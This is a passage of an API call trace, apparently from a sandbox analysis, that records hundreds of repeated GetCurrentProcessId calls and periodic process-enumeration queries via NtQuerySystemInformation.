[0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.918] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.919] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.920] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0283.921] GetCurrentProcessId () returned 0x10c0 [0284.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0284.462] GetCurrentProcessId () returned 0x10c0 [0284.462] GetCurrentProcessId () returned 0x10c0 [0284.462] GetCurrentProcessId () returned 0x10c0 [0284.462] GetCurrentProcessId () returned 0x10c0 [0284.462] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.463] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.464] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.465] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0284.466] GetCurrentProcessId () returned 0x10c0 [0285.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.016] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.017] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.018] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.019] GetCurrentProcessId () returned 0x10c0 [0285.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e078) returned 0x0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.643] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.644] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.645] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0285.646] GetCurrentProcessId () returned 0x10c0 [0286.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e118) returned 0x0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.216] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.217] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.218] 